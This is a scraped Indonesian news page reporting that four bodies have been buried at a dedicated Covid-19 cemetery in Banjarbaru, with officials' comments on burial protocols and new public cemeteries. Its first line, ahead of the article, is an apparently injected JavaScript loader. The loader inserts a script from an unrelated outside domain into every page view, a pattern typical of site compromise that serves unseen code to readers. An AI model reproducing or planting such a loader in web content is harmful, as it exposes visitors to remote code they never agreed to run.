(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kota Banjarbaru

Empat Jenazah Sudah Mengisi Permakaman Khusus Covid-19 di Banjarbaru


KANALKALIMANTAN.COM, BANJARBARU – Permakaman jenazah Covid-19 di kota Banjarbaru berlokasi di Kelurahan Cempaka, telah difungsikan. Hingga saat ini, telah empat orang yang dimakamkan dengan protap Covid-19 di tempat peristirahatan terakhir tersebut.

Kepala BPBD Banjarbaru, Zaini Syahranie, mengatakan keemoat jenazah yang dimakamkan tersebut merupakan mereka yang dinyatakan terkonfirmasi Covid-19 melalui hasil uji swab, maupun ada juga yang dinyatakan reaktif dari hasil rapid test.

“Empat jenazah yang dikubur di sana, dua diantaranya terpapar Covid-19 melalui hasil swab. Sedangkan dua jenazah lainnya dinyatakan reaktif dari hasil rapid test,” katanya, kepada Kanalkalimantan, Sabtu (11/7/2020).

Meskipun dua jenazah hanya dinyatakan reaktif melalui hasil pemeriksaan rapid test dan belum dinyatakan terpapar Covid-19, namun tetap saja penguburan yang dilakukan wajib menerapkan protokol kesehatan standar Covid-19. Hal ini, sebagaimana ketentuan yang telah ditetapkan oleh pemerintah pusat.

Kabid Pertamanan PJU dan Permakaman Disperkim Banjarbaru, Sartono mengungkapkan permakaman di Kelurahan Cempaka, tak hanya dikhususkan untuk mereka yang terpapar atau terindikasi Covid-19. Sebab, sebenarnya permakaman seluas lebih dua hektare tersebut memang dibuka untuk masyarakat umum.

“Tidak ada pembedaan. Prinsipnya, kalau ada masyarakat yang meminta penguburan jenazah di sini maka akan difasilitasi,” terangnya.

Disperkim Banjarbaru sampai saat ini terus memaksimalkan fasilitas di area permakaman tersebut. Seperti halnya yang baru-baru ini dilakukan, rampungnya pengerasan akses jalan masuk menuju permakaman.

Selain permakaman di Kelurahan Cempaka, di tahun ini juga Disperkim Banjarbaru membuka 2 permakaman umum lainnya. Berlokasi di Kelurahan Guntung Manggis dengan luas empat hektare dan di Kelurahan Sungai Ulin, seluas satu hektare.

Kendati demikian, Sartono mengaku tidak merekomendasikan permakaman di wilayah Guntung Manggis dan Sungai Ulin, kepada masyarakat.

“Dengan mempertimbangkan kondisi pandemi saat ini, maka kita sarankan jenazah dikuburkan di permakaman Cempaka saja. Untuk jaga-jaga,” kata Sartono.

Menurut data Gugus Tugas Percepatan Penaganan Covid-19 di Banjarbaru, sampai pada hari ini sudah ada 14 orang dinyatakan meninggal terkonfirmasi Covid-19. Namun sebagai catatan, peningkatan jumlah angka kematian di Banjarbaru tidaklah signifikan. (kanalkalimantan.com/rico)

< ldiv class="reporter">Reporter : Rico
Editor : Bie


Desy Arfianty

Recent Posts

Wali Kota Aditya Pilih Pertahankan Tugu Adipura, ATCS Jadi Mubazir?

KANALKALIMANTAN.COM, BANJARBARU - Nasib Tugu Adipura yang menjadi salah satu ikon Ibu Kota Provinsi Kalimantan… Read More

5 jam ago

BRImo FSTVL 2024: Ratusan Ribu Hadiah Menanti Nasabah BRI! Nabung Lebih Banyak, Untung Lebih Besar!

KANALKALIMANTAN.COM - Kabar bahagia untuk nasabah BRI dan pengguna aplikasi mobile banking BRImo. Saat ini,… Read More

7 jam ago

Proyek Jembatan Atanik Mataraman Molor, Cor Beton Belum Dikerjakan

Terancam Tak Bisa Dilewati Jemaah Haul ke-20 Sekumpul Read More

8 jam ago

Arsip Tak Boleh Jadi Bungkus Kacang

Dispersip Kalsel Musnahkan Arsip Tiga Instansi Read More

8 jam ago

Tinggal Seorang Diri, Diana Didapati Tak Bernyawa di Kamar

KANALKALIMANTAN.COM, BANJARBARU – Jasad berjenis kelamin perempuan didapati warga Landasan Ulin Timur tak bernyawa di… Read More

9 jam ago

Kota Banjarbaru Terima Dump Truck Penghargaan Adipura 2023

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi (Pemprov) Kalimantan Selatan (Kalsel) menggelar acara penyerahan hadiah penghargaan Adipura… Read More

9 jam ago

This website uses cookies.